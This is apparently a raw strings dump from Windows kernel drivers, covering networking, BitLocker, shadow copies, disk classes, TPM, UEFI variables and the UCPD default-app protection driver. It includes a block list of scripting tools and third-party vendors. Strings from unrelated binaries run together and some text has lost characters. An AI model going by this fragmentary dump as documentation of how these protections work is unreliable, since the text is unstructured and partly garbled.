solicitation packet (IPNG) IPv6 router context PREF64 config timer table (IPNG) IPv6 router information change workitem (IPNG) IPv6 potential router change workitem (IPNG) IPv6 router context DNS config timer table (IPNG) IPv6 router context (IPNG) DNSSL entry (IPNG) RDNSS entry (IPNG) IPv6 potential router (IPNG) PREF64 entry (IPNG) IPv6 echo ancillary data (IPNG) IPv6 echo options MDL (IPNG) IPv6 echo data MDL (IPNG) IPv6 echo request (IPNG) IPv6 echo reply MDL (IPNG) IPv6 send fragment (IPNG) IPv6 fragment packet (IPNG) IPv6 reassembly structure (IPNG) IPv6 reassembly structures (IPNG) IPv6 reassembly unfragmentable data (IPNG) shim for IPv6 reassembly (IPNG) IPv6 new header (IPNG) MLD NBL (IPNG) MLD report packet retreat (IPNG) MLD report packet (IPNG) MLD source list (IPNG) NS packet (IPNG) NA packet (IPNG) IPv6 echo reply packet (IPNG) L2 Unicast TCP Wake TCP V6 Packet TCP V4 Packet TCP PortCoalescedPattern LocalPortPattern UDP PortCoalescedPattern L2 Unicast UDP Wake IPv4 IPv6 interface (FLNG) client interface (FLNG) WOL pattern (FLNG) failed when queueing a REMOVE_OID request (FLNG) 0x%08lx client interface service chain (FLNG) client interface remove lock (FLNG) IsolationIdClientInterfaceTable (FLNG) IfIndexClientInterfaceTable (FLNG) interface work item (FLNG) Virtual If work queue (FLNG) interface locks (FLNG) Ndislock (FLNG) virtual interface info (FLNG) %ls\%ls Microsoft Virtual Interface isolation parameters (FLNG) NDIS luid index (FLNG) compartment rw (FLNG) %s (%d) virtual interface (FLNG) serialized request (FLNG) FLS client ndis pool (FLNG) FLS client (FL) FLS clone NBL (FLNG) FLS clone NBL with split NBs (FLNG) FLS MDL (FLNG) FLS inject packet chain (FLNG) FLS inject long packet chain (FLNG) FLS service chain rundown object (FLNG) FLS service chain (FLNG) FLS service chain node (FLNG) FLS client rundown object (FLNG) FLS client workitem (FLNG) FLS client NBL pool (FLNG) TCPIP6 TCPIP ARP packet (FLNG) TCPIPTUNNEL TCPIP6TUNNEL NDIS\Parameters NetworkDirectDisable RDMANDK FALSE FlSupportedNdkpiVersionMinor TRUE FlSupportedNdkpiVersionMajor PEDP://IntentEnterpriseId EDP://ExemptEnterpriseIds NumBucketLimitReached NumAllocationFailures MaxEntriesFlushed MinEntriesFlushed MaxEntriesStored TotalEntriesFlushed NumFlushes NumLargeEventFailures SummaryCount APPID://SHA256HASH APPID://PATH %02x TELASSERT RecvIrpOpContextAllocFailed PartitionRemoving AcceptedSocket InitIrpOpContextAllocFailed SocketAlreadyPresent MmGetSystemRoutineAddressEx netio.sys multicast set (FLNG) BFE\Parameters\Policy\Persistent\Callout PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Registry\Machine\System\CurrentControlSet\Services\BFE\Parameters AleDebugEnabled NblVerificationState NblVerifierEnabled WfpVerifierEnabled FwppTraceLogHandler FwppMemHandler FwppBfeStateHandler WfpMidlObjectHandler FwppCommonHandler FwppCalloutHandler FwppL2Handler FwppTcpIpHandler NULL SHUTDOWN STOP START POWER_EVENT TELASSERT NumAllocationFailures NumLargeEventFailures SummaryCount TotalEntriesFlushed MaxEntriesFlushed MinEntriesFlushed NumBucketLimitReached NumFlushes MaxEntriesStored vms_vsmp ComponentId \Registry\Machine\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318} \Registry\Machine\System\CurrentControlSet\Control\MiniNT \Device\WFPL2DPConfig PsGetVersion WmiTraceMessage WmiQueryTraceInformation Classify Drop Insufficient Resources EtwRegisterClassicProvider EtwUnregister \Device\WFPL2 NetCfgInstanceId {e7c3b2f0-f3c5-48df-af2b-10fed6d72e7a} WFP vSwitch Layers LightWeight Filter {3bfd7820-d65c-4c1b-9fea-983a019639ea} WFP Native MAC Layer LightWeight Filter {b70d6460-3635-4d42-b866-b8ab1a24454c} WFP 802.3 MAC Layer LightWeight Filter wfplwfs ms_switch_filter WFP vSwitch extension LWF interface H( TELASSERT System\CurrentControlSet\Policies\Microsoft\FVE OsvKsrAllow FveGroupPolicyGetDWordValue DisallowSuspendProtection FVE2. FveIsActionAllowed NTFS Unsupported\%lu Volume\%lu DeviceEncryption-WindowsCore-DPP DeviceEncryption-WindowsCore-ServicingReserve DeviceEncryption-WindowsCore-ServicingFiles DeviceEncryption-WindowsCore-BSP DeviceEncryption-WindowsCore-PreInstalled DeviceEncryption-WindowsCore-ServicingMetadata DeviceEncryption-WindowsCore-OSMain DeviceEncryption-WindowsCore-WSP DeviceEncryption-WindowsCore-UserData DeviceEncryption-WindowsCore-OSData FVEVOL FVE_IO_CRYPTO_CONFIGURATION _LP_ _VLP_ System\CurrentControlSet\Control\FVEAutoUnlock \Registry\Machine\System\CurrentControlSet\Control\FVEAutoUnlock \Registry\Machine\ System Volume Information SecureStartupFeature-Enabled-Driver D:P(A;;GA;;;SY)(A;;GA;;;BA) D:P(A;;GA;;;SY) InvalidParameter ChainingModeCCM \Device\BitLocker_Temp \Driver\csvvbus \Driver\volmgr SecureStartupFeature-Enabled-DeviceEncryption \Registry\Machine\System\CurrentControlSet\Control\BitLocker KeyringAllocPolicy \Registry\Machine\System\CurrentControlSet\Control SystemStartOptions FVEBOOT= %s %s%I64u %s%I64u OsvSize OsvEncryptComplete OsvEncryptInit fvevol.sys FVE. Legacy-Encrypt Legacy-Decrypt DriverAutoUnlockRedirectionKey Data AesCcmNonceCounter NULL gIceNumKeysSupported IceNumCryptoCapabilities IceType IceSecurityComplianceBitmask IceKeyTypeBitmask IceCap1KeySize IceCap1DataUnitSize IceCap1Algorithm IceCap2KeySize IceCap2DataUnitSize IceCap2Algorithm FVETest\ICE SHA256 OSDATA PREINSTALLED DATA MAINOS EFIESP SERVICING_METADATA SERVICING_FILES RESERVE nDumpFilters System\CurrentControlSet\Control\CrashControl dumpfve.sys tNvcUserDataAllow SelfhealDelayOverride true false PreventDeviceEncryption WorkstationService-DomainJoinEnabled BLRecovery \Registry\Machine\System\CurrentControlSet\Control\FVEStats RDVDenyWriteAccess FDVDenyWriteAccess ModifiedWriteMaximum \Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management RDVDisableBDE Software\Policies\Microsoft\FVE RDVExcludedDevices \Registry\Machine\SYSTEM\CurrentControlSet\Control MININT \??\PhysicalDrive%d IoctlKickAllSystemsGo FveStateRaw FveStateLocked FveFlushInformation FveIsStateChangeBlocked ExAllocatePool2 ExceptionHandler FveDatasetIsValid FveGroupPolicyIsDisablingBDEOnRDVAllowed FveUflagPreventsuspendInBootSession FveFindVirtualizationInfoDatumInDataset FveWorksetCreateWithLength FveAddVirtualizationInfoToDataset FveDatasetGetFirst FveDatasetEraseAll FveSynchronizeDatasetUpdate FveFsEnforceDefaultMount NotEdrive InsufficientResources ExceptionHandlerEdrv FveSynchronizeDatasetUpdateEDrv CsvVolume\%lu BitLocker Drive Encryption is enabled. BufferTooSmall Veto Allow Forward UnrecognizedRequest ReadInputBufferException FailedToReadInputBuffer InputRequestIsInvalid InvalidInputBufferLength FveIceHwWrapFvek OutputBufferToSmall WriteOutputBufferException FailedToWriteOutputBuffer SuccessfulHwWrap exFAT FAT32 ReFS TEMP PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister TestCfg TestCfg2 AuxCfg VolSubAllow MissingDmpFveAllow \Callback\SoftRestart FdvKsrAllow RdvKsrAllow \Registry\Machine\SYSTEM\CurrentControlSet\Policies\Microsoft\FVE OsvAllowWriteAccess WcosDisableBitLockerRO WcosOsMainLevel WcosBspLevel WcosDppLevel WcosWspLevel WcosOsDataLevel WcosPreInstalledLevel WcosUserDataLevel WcosServicingMetadataLevel WcosServicingFilesLevel WcosServicingReserveLevel \Registry\Machine\OSBOOT\CurrentControlSet\Policies\Microsoft\FVE WcosNonRetailNoForcedPoAc SecureStartupFeature-Enabled-Premium SecureStartupFeature-Enabled-PreInstall WriteSubrequestLength fvevol BytesDecryptedInDiskRequestOverhead DecryptionSplitSize ReadIoAggregate ReadIoAggregateMinSize ReadIoAggregateMaxSize WriteIoAggregate WriteIoAggregateMinSize WriteIoAggregateMaxSize ReadDoubleBuffering InPlaceCrypto SlicedEncryptionMinSize BitLocker SlicedEncryptionInPlace DecryptionChunkMaxSize DecryptionSplitMinSize WriteIoInline MaxCryptoRequestsPerIo FVE_CRYPTO_THROTTLE_CONFIGURATION MaxEncryptRequests MaxDecryptRequests SlicedEncryptionRequestsMax nHwThreads FVE_CHAT_CONFIGURATION CngHwAssist\Parameters cbHwTargetSize cbHwMinSize cbHwMaxSize rHwSwSpeedRatio fHwEnableDynamicPriorities fHwEncryptDecryptFlags nSwThreads cbSwTargetSize nSwPreferredThreads cbSwMinThrottleSize cbMaxQueueSize \Device\BitLocker D:P(A;;GA;;;SY)(A;;GRGW;;;AU) \DosDevices\BitLocker Unsupported Volume CsvVolume FVETEST \Registry\Machine\System\CurrentControlSet\Control\BitLocker\Overrides EOW-Encrypt EOW-Decrypt IceKmiMaxChallengeSize IceKmiCapabilityFlags PBKDF2_HMAC_SHA256 AlgorithmProvider DefaultToExistingProviders ChainingMode CngChatConfiguration ObjectLength ChainingModeCBC ChainingModeECB XTS-AES MessageBlockLength IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes \SystemRoot\bootstat.dat MinDiffAreaFileSize \GLOBAL??\HarddiskVolumeShadowCopy%d \Device\HarddiskVolumeShadowCopy \Device\HarddiskVolumeShadowCopy%d \Registry\Machine\System\CurrentControlSet\Services\VSS\Diag\VolSnap TurnOffPerformanceCounters STORAGE\VolumeSnapshot \Registry\Machine\System\CurrentControlSet\Services\VSS\Diag BlockCreates NULL PrepareForSnapshot (Enter) PrepareForSnapshot (Leave) PreExposure (Enter) PreExposure (Leave) AdjustBitmap (Enter) AdjustBitmap (Leave) EndCommit (Enter) EndCommit (Leave) Activate (Enter) Activate (Leave) SetIgnorable (Enter) SetIgnorable (Leave) ComputeIgnorableProduct (Enter) ComputeIgnorableProduct (Leave) Dismount (Enter) Dismount (Leave) Remount (Enter) Remount (Leave) DeleteProcess (Enter) DeleteProcess (Leave) Revert (Enter) Revert (Leave) ComputeProtectedBitmap (Enter) ComputeProtectedBitmap (Leave) FlushHoldFs (Enter) FlushHoldFs (Leave) ActivateLoop (Enter) ActivateLoop (Leave) ValidateDiffAreaFiles (Enter) ValidateDiffAreaFiles (Leave) VolumesSafeForWrite (Enter) VolumesSafeForWrite (Leave) DiscoverSnapshots (Enter) DiscoverSnapshots (Leave) Disabled %08x 0x%04x \Device\MountPointManager PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\VolumesSafeForWriteAccess FreeSpaceDifference \Registry\Machine\System\CurrentControlSet\Services\VSS\Settings FreeSpaceDiffRatio FreeSpacePreCopyPercentage HotBlocksPreCopyPercentage HotBlocksDays \Device\HarddiskVolumeShadowCopy%d\pagefile.sys \Device\HarddiskVolumeShadowCopy%d\swapfile.sys \Device\HarddiskVolumeShadowCopy%d\hiberfil.sys System Volume Information \Device\HarddiskVolumeShadowCopy%d\System Volume Information\ \Registry\Machine\Cluster\ResourceTypes\Physical Disk\Parameters VolsnapActivateTimeout \Driver\ .sys One or more snapshots are active on the volume HarddiskVolumeSnapshot%d \Registry\Machine\SYSTEM\CurrentControlSet\Services\setupdd SystemSetupInProgress \Registry\Machine\SYSTEM\Setup MiniNT NoPersistentSnapshots \KernelObjects\LowMemoryCondition TELASSERT \Registry\Machine\System\CurrentControlSet\Services\RdyBoost\AttachState \Registry\Machine\System\CurrentControlSet\Services\RdyBoost\Parameters ReadyBootVolumeUniqueId \Device\Unknown D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR;;;WD) \Device\RdyBoost MemoryConstrainedMode ReadyBootPlanAge BootPlan PendIoNumThreshold \KernelObjects\LowMemoryCondition \KernelObjects\HighCommitCondition DisableCompression ConfigFlags \StoreInfo IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} &Ven_ &Prod_ ChainingModeCCM BlockLength ObjectLength ChainingMode (null) NULL ExAllocateFromLookasideListEx ExFreeToLookasideListEx \Device\Harddisk%d NVMe Disk Command Latency RtlQueryRegistryValuesEx NVMeDisk RootPartitionMountable \Global??\Disk%s \Device\Harddisk%d\Partition0 \DosDevices\PhysicalDrive%d UserWriteCacheSetting Disk CacheIsPowerProtected DisableIdlePowerManagement Nvmedisk UserRemovalPolicy DisableD3Cold IdleTimeoutInSeconds NVM Command WriteCacheEnableOverride Quick Removal Set (Disable write caching on the device and in Windows) Better Performance Set (Enable write caching in Windows) \Registry\Machine\System\NVMEDISK \DosDevices\ .sys \Driver\ Access denied, operation not supported from user mode Invalid operation @SSL $NOCSC$ \Device\ .ipv6-literal.net NETLOGON SYSVOL PsGetVersion WmiTraceMessage WmiQueryTraceInformation NULL \Device\Mup Mailslot DavWWWRoot \Device\LanmanRedirector NET\NETLOGON NET\NETLOGON LANMAN LANMAN BROWSE BROWSE ProviderCacheTimeoutInMinutes PrefixCacheSizeInKB EtwRegisterClassicProvider EtwUnregister \Parameters %wZ%s \??\UNC IrpStackSize \Registry\Machine\System\CurrentControlSet\Control\Networkprovider\Order \Registry\Machine\System\CurrentControlSet\Control\Networkprovider\ProviderOrder ProviderOrder \Registry\Machine\System\CurrentControlSet\Services\ \NetworkProvider DeviceName TriggerStartPrefix TriggerStartNotification TriggerStartCompleteNotification \Registry\Machine\Software\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths RequireMutualAuthentication RequireIntegrity RequirePrivacy \Registry\Machine\System\CurrentControlSet\Services\Mup\Parameters EnableMailslots \Registry\Machine\Software\Policies\Microsoft\Windows\NetworkProvider \system32\dwm.exe \system32\csrss.exe \system32\lsass.exe \system32\services.exe \system32\smss.exe \system32\wininit.exe \system32\winlogon.exe \system32\logonui.exe \system32\sihost.exe \system32\audiodg.exe \system32\svchost.exe -k dcomlaunch -k rpcss -k appmodel -k localsystemnetworkrestricted -k localservicenonetwork MaxOutstandingIo IoRateFlags VolumeIdleIoCount VolumeIdleIoSize \Registry\Machine\System\CurrentControlSet\Control\QoS StorageBaseIOSize ExemptionList PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\Harddisk%d CacheIsPowerProtected Disk UserWriteCacheSetting RtlQueryRegistryValuesEx NULL RootPartitionMountable \Global??\Disk%s \Device\Harddisk%d\Partition0 \DosDevices\PhysicalDrive%d 0x%I64x IdleTimeoutInSeconds Classpnp DisableD3Cold RtlQueryRegistryValuesEx \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\DISK IoThresholdTime CopyOffloadMaxTargetDuration IdlePrioritySupported MMCDetectionState MediaChangeNotification AlwaysDisableMCN AlwaysEnableMCN AutoRunAlwaysDisable Parameters Autorun NULL PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e967-e325-11ce-bfc1-08002be10318} UpperFilters LowerFilters Unknown None \Registry\Machine\System\CurrentControlSet\Control\Classpnp DisablePagefileCRC UserRemovalPolicy RestorePerfAtCount DisableIdlePowerManagement QERROverrideMode AccessAlignmentQueryNotSupported LegacyErrorHandling QosTimeoutRetryCount IgnoreDeviceTransferLength ForceBypassIo \Registry\Machine\System\CurrentControlSet\Control\MiniNT \Registry\Machine\System\DISK \DosDevices\ WriteCacheEnableOverride TimeOutValue DeviceName InquiryData HackMask StorageSupportedFeatures Target truncated read. Successful Failed Target truncated write. MofResourceName %04d%02d%02d%02d%02d%02d.%03d***+000 IdleClassSupported IdleInterval IdleOutstandingIoMax %I64u MaximumListIdentifier NVMeDisablePerfThrottling ProcessZoneCommandAsync DisableOptimalIOAlignment DisableForwardedIo MaxNumberOfIoRetries \Driver\ .sys Invalid operation Access denied, operation not supported from user mode \DosDevices\MPIOControl \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\MPDEV MPIOSupportedDeviceList RTCALARM FwGlobalVars AuditMode Boot#### BootCurrent BootNext BootOrder $BootOptionSupport ConIn ConInDev ConOut ConOutDev dbDefault dbrDefault dbtDefault dbxDefault DeployedMode Driver#### DriverOrder ErrOut ErrOutDev HwErrRecSupport KEKDefault Key#### Lang LangCodes OsIndications .OsIndicationsSupported OsRecoveryOrder PKDefault $PlatformLangCodes PlatformLang *PlatformRecovery#### "SignatureSupport SecureBoot SetupMode SysPrep#### SysPrepOrder Timeout VendorKeys MemoryOverwriteRequestControl MemoryOverwriteRequestControlLock GUID=f8e4eab0049a6d4ca748793daa0f65df&NAME=0054004c0053005f0041005500540048005f0043004f004e004600490047005f004900460052005f004e00560044004100540041&PATH=01041400f8e4eab0049a6d4ca748793daa0f65df7fff0400&OFFSET=0&WIDTH=000000000000004a&VALUE=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&GUID=a550af5d81eae24d8f9bcabda9cf5c14&NAME=0053004500430055005200450042004f004f0054005f0043004f004e00460049004700550052004100540049004f004e&PATH=01041400a550af5d81eae24d8f9bcabda9cf5c147fff0400&OFFSET=0&WIDTH=0000000000000050&VALUE=0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100&GUID=a550af5d81eae24d8f9bcabda9cf5c14&NAME=0053004500430055005200450042004f004f0054005f0043004f004e00460049004700550052004100540049004f004e&PATH=01041400a550af5d81eae24d8f9bcabda9cf5c147fff0400&ALTCFG=0000&OFFSET=004e&WIDTH=0001&VALUE=00&OFFSET=004f&WIDTH=0001&VALUE=00&GUID=a550af5d81eae24d8f9bcabda9cf5c14&NAME=0053004500430055005200450042004f004f0054005f0043004f004e00460049004700550052004100540049004f004e&PATH=01041400a550af5d81eae24d8f9bcabda9cf5c147fff0400&ALTCFG=0001&OFFSET=004e&WIDTH=0001&VALUE=00&OFFSET=004f&WIDTH=0001&VALUE=00 Fran F9=Reset fauts F10= conomiser =Choisir l'Entr =Compl ter l'Entr Esc=Sortir l'Entr chouer conomiser 0123456789 sont des donn es valides 0-9 a-f sont des donn es valides S'il vous pla t tape votre mot de passe S'il vous pla t tape votre nouveau mot de passe S'il vous pla t confirmer votre nouveau mot de passe S'il vous pla t tape vos donn Veuillez crire assez de caract Pressez 'Y' pour sauvegarder et quitter, 'N' de se d faire et de sortie Question valeur d calage avec l'option valeur! Fran Fran Fran VMware, Inc. Classpnp MMCDetectionState MediaChangeNotification AlwaysEnableMCN AlwaysDisableMCN PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider \Device\CdRom%d \Registry\Machine\System\CurrentControlSet\Control\MiniNT EtwUnregister NULL RestorePerfAtCount \DosDevices\CdRom%d HackMask UserRemovalPolicy WriteCacheEnableOverride TimeOutValue NonMmc CdRom NonMmcVendorSpecificProfile NoTypeOneGetConfig DefaultDvdRegion eRtlQueryRegistryValuesEx \Registry\Machine\System\DISK \DosDevices\ AutoRunAlwaysDisable Parameters Autorun ZeroPowerODDEnabled KmdfLibrary \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\cdrom PackageSid TargetNtPath AppxPackageSidRef \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Appx\PackageSidRef \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Appx PackageRoot D:AI(A;OICI;0x1200a9;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;CIIOID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;FA;;;SY)(A;OICIID;0x1200a9;;;BA)(A;OICIID;0x1200a9;;;LS)(A;OICIID;0x1200a9;;;NS) \System Volume Information\WPAppSettings.dat SecurityDescriptor Debug ChamberId FolderId (null) NULL \Music\ \Pictures\ \Videos\ MusicChamber PicturesChamber VideosChamber {0b7992da-c5e6-41e3-b24f-55419b997a15} SDCARD DebugTraceLevel EncryptMedia EncryptAll BypassAccessChecks FilterEmulatedExternalDrive ChainingModeCBC BlockLength ObjectLength ChainingMode \Registry\Machine\System\ControlSet001\Control\StSec\SecurityDescriptors \Registry\Machine\System\ControlSet001\Control\StSec\FolderProperties \REGISTRY\MACHINE\Software\Microsoft\SecurityManager\StorageCardProfiles\Chambers SHA256 HashDigestLength Install Data \REGISTRY\MACHINE\Software\Microsoft\StorageSec\Encrypt CacheLifetime CacheCleanupTriggerSize CacheMaxSize StSec RtlQueryRegistryValuesEx SkipSealKey \??\%ws\ \Registry\Machine\System\CurrentControlSet\Control\IntegrityServices WBCL WBCLTrustPoint TpmLockoutCountIncreased TpmLockedOut TpmInFailureMode TpmFailedToInitialize TpmRegDriverPersistedDataAdmin System\CurrentControlSet\Services\TPM\WMI\Admin TpmRegDriverPersistedDataEndorsement System\CurrentControlSet\Services\TPM\WMI\Endorsement TpmRegDriverPersistedDataUser System\CurrentControlSet\Services\TPM\WMI\User \Registry\Machine\ OwnerAuthFull OwnerAuthAdmin OwnerAuthEndorsement OwnerAuthUser EndorsementAuth StorageOwnerAuth \??\TPM NtQuerySystemInformation ZwQueryInformationProcess ZwGetCachedSigningLevel NtCompareSigningLevels 0\safemon\ \kingsoft\ \opera\ \QQBrowser\ \msedge.exe \explorer.exe \2345Soft\ \LuDaShi\ \ComputerZ explorer.exe msedge.exe kwsprotect64.exe kxescore.exe 360Tray.exe ksyshelper64.exe 2345SFGuard64.exe Beijing Kingsoft Security software Co.,Ltd Beijing Qihu Technology Co., Ltd. Shanghai 2345 Mobile Technology Co., Ltd. ComputerZ12_helper_x64.exe Chengdu Qilu Technology Co. Ltd. QQBrowser.exe Tencent Technology (Shenzhen) Company Limited type= QBDefaultBrowser.exe default-set-mode opera.exe Opera Norway AS installer.exe \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\UCPD\DR 0000 SHA256 HashDigestLength Base64Decode ParsePEFormat CalculatePEHashInMem CertificateVerify DecryptData DispatcherConfig %lu.%lu http https \userchoice \Registry\Machine\SYSTEM\CurrentControlSet\Services\UCPD winlogon.exe ProgId SetValue SetGameConfig SetRegionCode RemoveUserChoice DelKey UnknownDelKey TaskbarDelKey DelProngKey DelGameConfig DelRegionCode RenameKey UnknownRenKey TaskbarRenKey RenameProng RenameUserChoice RenameGameConfig RenameRegionCode DeleteGameConfigValue DeleteValueKey UserChoiceSetSecurity SetKeySecurity software machine *\reg.exe *\rundll32.exe *\powershell.exe *\regedit.exe *\wscript.exe *\cscript.exe *\cmd.exe *\InfDefaultInstall.exe *\pwsh.exe *\dllhost.exe *\wmiprvse.exe *\regini.exe MACHINE\SYSTEM\ControlSet001\Services\UCPD FeatureV2 MACHINE\SYSTEM\ControlSet002\Services\UCPD MACHINE\SYSTEM\ControlSet001\Services\UCPD\DR MACHINE\SYSTEM\ControlSet002\Services\UCPD\DR Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoiceLatest Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoiceLatest\ProgId Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoiceLatest Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\UserChoiceLatest\ProgId SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\DeviceRegion DeviceRegion SOFTWARE\Microsoft\Windows\CurrentVersion\Feeds ShellFeedsTaskbarViewMode IsFeedsAvailable SOFTWARE\Microsoft\Windows\CurrentVersion\NandI Control SOFTWARE\Policies\Microsoft\Windows\Windows Feeds EnableFeeds Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced TaskbarDa SOFTWARE\Policies\Microsoft\Dsh AllowNewsAndInterests Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband Favorites FavoritesResolve Software\Microsoft\Windows\CurrentVersion\CrossDeviceResume\ResumeIntent AppIconPath AppDisplayName IsAppInstalled Software\Microsoft\Windows\CurrentVersion\CrossDeviceResume\Notification Status Software\Microsoft\Windows\CurrentVersion\CrossDeviceResume\Configuration OverlayIconPath Software\Microsoft\Windows\CurrentVersion\SearchSettings Software\Microsoft\Windows\CurrentVersion\Search Software\Microsoft\Windows\CurrentVersion\Feeds Software\Microsoft\Windows\Shell\BrandedKey BrandedKeyChoiceType AppAumid SOFTWARE\Classes\Unknown\shell SOFTWARE\Classes\Unknown\shell\open\command SOFTWARE\Classes\Unknown\shell\openas\command Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.doc\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.doc\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.doc\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.docx\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.docx\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.docx\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xls\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xls\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xls\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xlsx\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xlsx\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.xlsx\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ppt\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ppt\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.ppt\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pptx\UserChoice Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pptx\UserChoiceLatest Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pptx\UserChoiceLatest\ProgId Software\Microsoft\Windows\CurrentVersion\GamingConfiguration DefaultGamingApp DefaultToGamingExperience \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\DeviceRegion RCodeCache O=Zhuhai Kingsoft Office Software Co., Ltd., L= , S= , C=CN O=Beijing Kingsoft Security software Co.,Ltd, S= , C=CN O=Beijing Kingsoft Security software Co.,Ltd, L=BeiJing, S=BeiJing, C=CN , L= , S= , C=CN O=Tencent Technology (Shenzhen) Company Limited, L=Shenzhen, S=Guangdong Province, C=CN O=Tencent Technology(Shenzhen) Company Limited, L=Shenzhen, S=Guangdong Province, C=CN O=Beijing Sogou Technology Development Co., Ltd., S=Beijing, C=CN O=ShenZhen Thunder Networking Technologies Ltd., L=Shenzhen, S=Guangdong, C=CN O=QIHU 360 SOFTWARE CO. LIMITED, L=Hong Kong, S=Hong Kong, C=HK O=Qihoo 360 Software (Beijing) Company Limited, L=Beijing, S=Beijing, C=CN O=Beijing Qihu Technology Co., Ltd., L=Beijing, S=Beijing, C=CN O=Beijing Qihu Technology Co., Ltd., S=Beijing, C=CN O=Lenovo Image (Tianjin) Technology Co. LTD, L= , S= , C=CN O=Lenovo (Beijing) Co., Ltd., S=Beijing, C=CN O=Lenovo (Beijing) Limited, L=Beijing, C=CN O=Lenovo (Beijing) Limited, S=Beijing, C=CN O=Chengdu Qilu Technology Co. Ltd., L=Chengdu, S=Sichuan, C=CN , S= , C=CN O=Tianjin Xundu Technology Co.,Ltd, S= , C=CN , S= , C=CN O=Chengdu Aishang Office Technology Co., Ltd., L= , S= , C=CN O=Shanghai 2345 Mobile Technology Co., Ltd., S= , C=CN \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\UCPD VarFileInfo StringFileInfo OriginalFilename Microsoft Corporation \registry\machine\software\Classes\Unknown\shell openas \registry\machine\software\Classes\Unknown\shell\open\command %SystemRoot%\system32\OpenWith.exe "%1" 